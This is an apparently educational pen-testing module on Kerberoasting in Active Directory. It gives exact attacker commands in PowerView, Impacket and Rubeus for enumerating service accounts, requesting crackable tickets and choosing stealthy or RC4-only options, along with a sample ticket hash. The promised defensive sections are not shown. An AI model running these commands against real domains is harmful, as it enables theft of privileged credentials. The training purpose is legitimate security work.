Module 2 · Kerberoasting in Practice 🔒

Kerberoasting is the single most common Active Directory attack encountered on pen-test engagements. It’s low-noise, low-skill, highly reliable, and when it succeeds, the attacker holds privileged service account credentials — often Domain Admin. Understanding it is essential for both the offence and defence sides.

This is a hands-on module. You will see the exact attacker commands, exactly what happens on the wire, the defender’s detection opportunities, and the concrete remediations.

Prerequisites

• Module 1 of this path (AD Architecture Fundamentals)
• Any domain-user foothold — a cracked password from phishing, a default credential, or a vulnerability that gives you a user-level session
• Network access to a Domain Controller on port 88 (Kerberos)
• A cracking rig (CPU is fine for moderate-complexity passwords; GPU is faster)

Why Kerberoasting works — the design flaw

Recall from Module 1 that Kerberos service tickets are encrypted with a key derived from the target service account’s password. Two design choices combine to create the vulnerability:

1. Any authenticated domain user can request a service ticket for any SPN — there is no ACL on SPN requests. This is by design; Kerberos is meant to be unconditionally queryable by legitimate users
2. The returned service ticket is encrypted with the service account’s password hash — the hash is what authenticates the service to the KDC

Result: any authenticated user can obtain ciphertext that can be cracked offline. If the service account’s password is weak, the attacker recovers it. The attack is entirely passive from the defender’s perspective — no exploit, no anomalous behaviour at the protocol level.

Step 1 — Discovery

From your user-level foothold, enumerate accounts with SPNs set. Four common tools:

# PowerShell (via PowerView)
Get-NetUser -SPN | Select-Object samaccountname, serviceprincipalname

# Native AD module
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName |
  Select-Object samaccountname, serviceprincipalname

# Impacket from Linux/Kali
GetUserSPNs.py corp.example.com/priya:Password123

# Rubeus (more stealthy — uses existing session)
Rubeus.exe kerberoast /stats

A typical result in a mid-size Indian enterprise: 30–100 accounts with SPNs. Most are legitimate (SQL, IIS, MS SharePoint, backup agents, monitoring tools). Your job: identify the targets with likely-weak passwords.

Signals that suggest a kerberoastable target with weak password:

• Account name like svc_sql, sql_service, backupusr, sharepoint_admin (obvious service accounts)
• pwdLastSet is old (> 1 year) — suggests manual password, not auto-rotated
• Member of privileged groups (Domain Admins, Enterprise Admins, SQL Admins)
• Account is still active (logged in recently)
• UserAccountControl doesn’t have DONT_REQ_PREAUTH flag removed (unusual but possible)

Highest-value target: a DA-member service account with a password set 3 years ago.

# Impacket (Linux)
GetUserSPNs.py corp.example.com/priya:Password123 -request -outputfile kerb_hashes.txt

# Rubeus (Windows, in-memory — stealthier)
Rubeus.exe kerberoast /outfile:kerb_hashes.txt

# Target a specific account
Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql.hash

# Filter by AES-only (modern) vs RC4 (faster to crack)
# RC4 tickets crack ~10x faster on GPU
Rubeus.exe kerberoast /rc4opsec /outfile:rc4_only.hash

$krb5tgs$23$*svc_sql$CORP.EXAMPLE.COM$MSSQL/db.corp.example.com~1433*$0a4b...